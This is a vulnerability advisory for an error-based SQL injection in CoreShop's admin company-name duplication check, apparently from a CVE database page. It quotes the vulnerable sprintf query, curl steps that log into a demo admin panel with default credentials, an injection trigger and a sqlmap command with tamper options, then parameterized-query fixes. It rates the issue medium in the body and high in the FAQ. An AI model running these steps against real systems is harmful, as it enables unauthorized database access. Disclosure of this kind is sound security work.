CVE-2026-23959: CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier
SQL Injection in CustomerTransformerController
Summary An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel. The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.
This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.
---
Details The vulnerability exists in the company name duplication check endpoint:
/admin/coreshop/customer-company-modifier/duplication-name-check?value=
Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.
Vulnerable file: /app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php
Vulnerable code pattern: php sprintf('name LIKE "%%%s%%"', (string) $value)
The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter. Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.
---
Exploitation Steps:
Prerequisites - Admin panel access at https://demo4.coreshop.org/admin - Default credentials: admin / coreshop
Authenticate to admin panel bash # Get CSRF token curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken
# Initialize session curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null
# Get CSRF token with session CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]"' | cut -d'"' -f4)
# Login curl -s -i -b /tmp/session.txt -c /tmp/session.txt \ -X POST 'https://demo4.coreshop.org/admin/login/login' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d "username=admin&password=coreshop&csrfToken=$CSRF"
Trigger SQL error to confirm injection bash curl -s -b /tmp/session.txt \ 'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'
Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"
Normal response (non-error): json {"success":true,"message":null,"list":[]}
Proof of Impact:
Test 1 - Normal query: bash GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test Response: {"success":true,"message":null,"list":[]}
Test 2 - SQL injection (error-inducing): bash GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=" Response: HTTP 500 Internal Server Error <!DOCTYPE html> <html lang="en"> <head> <title>500 | CORS - Pimcore Digital Agency</title> ... </head> The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.
Sqlmap Result: bash python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db <img width="1921" height="747" alt="sqlmappoc" src="https://github.com/user-attachments/assets/4069bbd4-d1a1-4ad1-9983-24402a20f985" />
---
Impact - Vulnerability type: SQL Injection (Error-based) - Affected users: CoreShop / Pimcore admin users - Potential impact: - Database error disclosure - Database schema enumeration - Possible data extraction via error-based or blind SQL injection
---
Recommended Fix
1. Use Parameterized Queries (Required) Avoid building SQL conditions using string concatenation or sprintf. Use Doctrine QueryBuilder parameters instead.
❌ Vulnerable example: php $condition = sprintf('name LIKE "%%%s%%"', (string) $value);
✅ Secure example (Doctrine QueryBuilder): php $qb->andWhere('c.name LIKE :name') ->setParameter('name', '%' . $value . '%');
This ensures proper escaping and prevents SQL injection.
---
2. Validate User Input (Defense-in-Depth) Apply strict input validation before processing user data:
php if (!isstring($value) || mbstrlen($value) > 255) { throw new BadRequestHttpException('Invalid input'); }
Optionally, restrict allowed characters if business logic permits.
---
3. Handle Errors Gracefully Avoid returning raw 500 error pages to users. Catch database exceptions and return a controlled JSON error response instead:
php return new JsonResponse([ 'success' => false, 'message' => 'Invalid request' ], 400);
---
4. Security Best Practice - Never interpolate user input directly into SQL strings - Always use prepared statements or ORM parameter binding - Ensure consistent input validation on all admin endpoints
---
Other sources
CoreShop is a Pimcore enhanced eCommerce solution. An error-based SQL Injection vulnerability was identified in versions prior to 4.1.9 in the CustomerTransformerController within the CoreShop admin panel. The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction. Version 4.1.9 fixes the issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-23959?
CVE-2026-23959 is classified as a high severity SQL Injection vulnerability affecting the CoreShop admin panel.
How do I fix CVE-2026-23959?
To fix CVE-2026-23959, upgrade to the latest version of CoreShop that addresses this vulnerability.
Which versions of CoreShop are affected by CVE-2026-23959?
CVE-2026-23959 impacts all versions of CoreShop below version 4.1.9.
What type of vulnerability is CVE-2026-23959?
CVE-2026-23959 is an error-based SQL Injection vulnerability found in the CustomerTransformerController.
Can CVE-2026-23959 be exploited remotely?
Yes, CVE-2026-23959 can be exploited remotely by an attacker with access to the CoreShop admin panel.